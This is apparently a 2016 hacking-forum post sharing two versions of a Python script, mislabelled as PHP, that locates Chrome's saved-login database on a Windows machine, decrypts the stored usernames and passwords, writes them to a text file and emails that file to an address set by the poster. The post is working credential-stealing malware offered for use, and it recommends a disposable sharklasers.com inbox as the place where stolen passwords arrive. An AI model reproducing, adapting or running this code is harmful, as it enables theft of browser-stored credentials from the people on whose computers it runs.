Apr 16, 2016 08:27 AM
(This post was last modified: May 7, 2016 11:46 AM by @beef.)
DONT ADD - BEEFHF. ON SKYPE HE IS A FAKE
I've had a lot of requests to update this because it stopped working. Here it is.
If you're going to use this then please take the time to post below. This is Free. This took a while to do initially, saying thank you or something below would be nice.
Add me on skype @ beefhf
btw you need to get the wincrypt32 module. pm me on skype for help.
Code:
EDIT -
Instead of using regular gmail. You can use https://www.sharklasers.com where you can spoof the email and it's temporary too.
Basically you go to the website and automatically you get an account made for you.
Say your account is called [email protected] then in my code where I've put the
#THE EMAIL TO CHANGE FROM https://www.sharklasers.com/inbox or the "emailto" variable. You input your email into here.
for example:
emailto = "[email protected]"
now that's it lol. legit. just run it. the passwords will come up in your inbox. the inbox won't clear until you set it to (i think). Even if you go off the website i think it will still be there when you come back next time.
Here's the new code for this:
I've had a lot of requests to update this because it stopped working. Here it is.
If you're going to use this then please take the time to post below. This is Free. This took a while to do initially, saying thank you or something below would be nice.
Add me on skype @ beefhf
btw you need to get the wincrypt32 module. pm me on skype for help.
Code:
PHP Code
<?php
# By @beef HF
# https://hackforums.net/member.php?action=profile&uid=2494987
import os
import sqlite3
import win32crypt
import sys
import mimetypes
import smtplib
from email.mime.multipart import MIMEMultipart
from email import encoders
from email.message import Message
from email.mime.audio import MIMEAudio
from email.mime.base import MIMEBase
from email.mime.image import MIMEImage
from email.mime.text import MIMEText
# Create File
f = open('passwords.txt','w')
# Find path
try:
path = sys.argv[1]
except IndexError:
for w in os.walk(os.getenv('USERPROFILE')):
if 'Chrome' in w[1]:
path = str(w[0]) + '\Chrome\User Data\Default\Login Data'
# Connect to the Database
try:
print '[+] Opening ' + path
conn = sqlite3.connect(path)
cursor = conn.cursor()
except Exception, e:
print '[-] %s' % (e)
sys.exit(1)
# Get the results
try:
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
except Exception, e:
print '[-] %s' % (e)
sys.exit(1)
data = cursor.fetchall()
if len(data) > 0:
for result in data:
# Decrypt the Password
try:
password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
except Exception, e:
print '[-] %s' % (e)
pass
if password:
f.write('''[+] URL: %s\n Username: %s\n Password: %s\n''' %(result[0], result[1], password))
else:
print '[-] No results returned from query'
sys.exit(0)
# Your Email Account
emailfrom = "youremail"
emailto = "youremail"
fileToSend = "passwords.txt"
user = "youremail"
password = "yourpassword"
# Start Emailing
msg = MIMEMultipart()
msg['From'] = emailfrom
msg['To'] = emailto
msg['Subject'] = 'Password List'
filename = "passwords.txt"
f = file(filename)
attachment = MIMEText(f.read())
attachment.add_header('Content-Disposition', 'attachment', filename=filename)
msg.attach(attachment)
smtp = smtplib.SMTP('smtp.gmail.com:587')
smtp.starttls()
smtp.login(user,password)
smtp.sendmail(emailfrom, emailto, msg.as_string())
smtp.close()
print('[+] Successfully Completed')
EDIT -
Instead of using regular gmail. You can use https://www.sharklasers.com where you can spoof the email and it's temporary too.
Basically you go to the website and automatically you get an account made for you.
Say your account is called [email protected] then in my code where I've put the
#THE EMAIL TO CHANGE FROM https://www.sharklasers.com/inbox or the "emailto" variable. You input your email into here.
for example:
emailto = "[email protected]"
now that's it lol. legit. just run it. the passwords will come up in your inbox. the inbox won't clear until you set it to (i think). Even if you go off the website i think it will still be there when you come back next time.
Here's the new code for this:
PHP Code
<?php
import os
import sqlite3
import win32crypt
import sys
import mimetypes
import smtplib
from email.mime.multipart import MIMEMultipart
from email import encoders
from email.message import Message
from email.mime.audio import MIMEAudio
from email.mime.base import MIMEBase
from email.mime.image import MIMEImage
from email.mime.text import MIMEText
import win32api
import win32file
# Create File
f = open('passwords.txt','w')
# Find path
try:
path = sys.argv[1]
except IndexError:
for driver in [x for x in win32api.GetLogicalDriveStrings().split('\x00') \
if win32file.GetDriveType(x) == win32file.DRIVE_FIXED]:
for w in os.walk(driver):
if 'Chrome' in w[1]:
path = str(w[0]) + '\Chrome\User Data\Default\Login Data'
# Connect to the Database
try:
print '[+] Opening ' + path
conn = sqlite3.connect(path)
cursor = conn.cursor()
except Exception, e:
print '[-] %s' % (e)
sys.exit(1)
# Get the results
try:
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
except Exception, e:
print '[-] %s' % (e)
sys.exit(1)
data = cursor.fetchall()
if len(data) > 0:
for result in data:
# Decrypt the Password
try:
password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
except Exception, e:
print '[-] %s' % (e)
pass
if password:
f.write('''[+] URL: %s\n Username: %s\n Password: %s\n''' %(result[0], result[1], password))
else:
print '[-] No results returned from query'
sys.exit(0)
# Your Email Account
emailfrom = "[email protected]"
#THE EMAIL TO CHANGE FROM https://www.sharklasers.com/inbox
emailto = "[email protected]"
fileToSend = "passwords.txt"
# Start Emailing
msg = MIMEMultipart()
msg['From'] = emailfrom
msg['To'] = emailto
msg['Subject'] = 'Password List'
filename = "passwords.txt"
f = file(filename)
attachment = MIMEText(f.read())
attachment.add_header('Content-Disposition', 'attachment', filename=filename)
msg.attach(attachment)
smtp = smtplib.SMTP('mail.sharklasers.com:25')
smtp.starttls()
smtp.sendmail(emailfrom, emailto, msg.as_string())
smtp.close()
print('[+] Successfully Completed')


